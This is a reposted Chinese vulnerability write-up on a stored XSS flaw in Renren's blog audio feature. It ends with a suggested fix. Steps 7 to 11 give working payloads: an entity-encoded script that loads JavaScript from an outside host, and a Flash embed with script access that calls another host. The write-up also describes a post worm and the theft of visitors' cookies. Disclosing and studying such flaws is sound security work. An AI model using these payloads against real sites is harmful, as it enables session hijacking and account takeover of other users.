网站地图    收藏   

主页 > 后端 > 网站安全 >

人人网日志功能存储型XSS - 网站安全 - 自学php

来源:自学PHP网    时间:2015-04-17 12:00 作者: 阅读:

[导读] 大致流程如下:1. 首先,我们发表一个正常的日志,添加视频/音频,因为想试试能不能直接调用外部FLASH,因此输入http://xsst.sinaapp.com/Xss.swf#.mp3进行测试2. 发布成功后,我们可以看到出...

大致流程如下:

1. 首先,我们发表一个正常的日志,添加视频/音频,因为想试试能不能直接调用外部FLASH,因此输入http://xsst.sinaapp.com/Xss.swf#.mp3进行测试

 

 

2. 发布成功后,我们可以看到出现一个MP3播放器。于是在源码里找找我们输出的内容。

3. 搜索xsst(我FLASH文件的网址的特征), 没找到embed标签,但是却定位到了一个img标签,而且我们所输入的内容,放在了img的alt标签。

 

 

4. 到这里我们可以大胆猜测。人人的开发人员,肯定是先读取页面里的img标签,然后获取alt属性,最后再 innerHTML="<embed src='"+img.alt+"'.....></embed>" 的方式输出内容。

5. 我们定位到FLASH文件上,不难看到,确实是如此。

 

 

6. 既然如此,如果人人的开发人员,在获取alt属性之后,alt属性里的&quot;等会自动转义为"等字符, 如果没有进行二次过滤,就直接innerHTML输出的话,就会导致XSS。

7. 先试下,会“侧漏“不~~~

抓包,字段body从


<p><img title="audio-media" class="audio" src=http://up.2cto.com/2012/0923/20120923103719840.gif" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf#.mp3" /></p>

修改为


<p><img title="audio-media" class="audio" src=http://up.2cto.com/2012/0923/20120923103719840.gif" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf&quot;&gt;#.mp3" /></p>

8. 果然从 #.mp3处侧漏啦,有戏~

 

 

9. 继续构造利用代码。用俺工具,经过2步转换得到利用代码 (工具地址:http://app.baidu.com/app/enter?appid=280383) 分享下,不算广告吧= =

步骤一:

 

 

步骤二:

 

得到的利用代码如下:


<p><img title="audio-media" class="audio" src=http://up.2cto.com/2012/0923/20120923103719840.gif" border="0" alt="mp3;http://xsst.sinaapp.com/Xss.swf&quot;&gt;&#60;&#105;&#109;&#103;&#47;&#115;&#114;&#99;&#61;&#49;&#32;&#111;&#110;&#101;&#114;&#114;&#111;&#114;&#61;&#40;&#102;&#117;&#110;&#99;&#116;&#105;&#111;&#110;&#40;&#41;&#123;&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#115;&#61;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#83;&#116;&#114;&#105;&#110;&#103;&#46;&#102;&#114;&#111;&#109;&#67;&#104;&#97;&#114;&#67;&#111;&#100;&#101;&#40;&#49;&#49;&#53;&#44;&#57;&#57;&#44;&#49;&#49;&#52;&#44;&#49;&#48;&#53;&#44;&#49;&#49;&#50;&#44;&#49;&#49;&#54;&#41;&#41;&#59;&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#115;&#46;&#115;&#114;&#99;&#61;&#83;&#116;&#114;&#105;&#110;&#103;&#46;&#102;&#114;&#111;&#109;&#67;&#104;&#97;&#114;&#67;&#111;&#100;&#101;&#40;&#49;&#48;&#52;&#44;&#49;&#49;&#54;&#44;&#49;&#49;&#54;&#44;&#49;&#49;&#50;&#44;&#53;&#56;&#44;&#52;&#55;&#44;&#52;&#55;&#44;&#49;&#50;&#48;&#44;&#49;&#49;&#53;&#44;&#49;&#49;&#53;&#44;&#49;&#49;&#54;&#44;&#52;&#54;&#44;&#49;&#49;&#53;&#44;&#49;&#48;&#53;&#44;&#49;&#49;&#48;&#44;&#57;&#55;&#44;&#57;&#55;&#44;&#49;&#49;&#50;&#44;&#49;&#49;&#50;&#44;&#52;&#54;&#44;&#57;&#57;&#44;&#49;&#49;&#49;&#44;&#49;&#48;&#57;&#44;&#52;&#55;&#44;&#49;&#49;&#48;&#44;&#49;&#49;&#49;&#44;&#52;&#54;&#44;&#49;&#48;&#54;&#44;&#49;&#49;&#53;&#41;&#59;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#119;&#105;&#110;&#100;&#111;&#119;&#46;&#115;&#41;&#125;&#41;&#40;&#41;&#62;#.mp3" /></p>

10. 可是意外出现啦,看来人人网在服务器上还做了某些判断,俺的代码出发了它们的过滤规则,有以下提示信息。

  

 

11. 但是这个阻碍不了我们前进的步伐,既然如此,那我们就换个方式,直接用flash来,构造以下利用代码。

www.2cto.com
<p><img title="audio-media" class="audio" src=http://up.2cto.com/2012/0923/20120923103719840.gif" border="0" alt="mp3;http://itsokla.duapp.com/Xss.swf&quot;></object><embed src=&quot;http://itsokla.duapp.com/Xss.swf&quot;type=&quot;application/x-shockwave-flash&quot;allowscriptaccess=&quot;always&quot;><i a=&quot;#.mp3" /></p>

12. 可以看到成功发表日志。

 

 


13. httpwatch对日志页面抓包可以看到,成功通过FLASH调用外部JS文件。

 

14. 至于漏洞危害:

A. 由于发布日志无验证码,且和XSS处于同一个域下,因而可以直接ajax让受害者自动发布日志,从而进行日志蠕虫
B. 人人网的cookies没有加http-only防护,因而可以得到cookies后,在其它域做某些某些事情。举个例子,比如我就用这个XSS让访问日志的用户,自动进行某个第三方应用的Oauth的认证。这里就不给出具体的利用代码了 。。

以下是获取他人cookies的截图: (未做有害事情,仅测试用途)

 


 

 

 



修复方案:

在获取日志内容中<img class="audio" src=http://up.2cto.com/2012/0923/20120923103719840.gif" border="0" alt="mp3;mp3地址"> 标记的 alt 属性后, 对值进行再次过滤,再以innerHTML方式输出。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论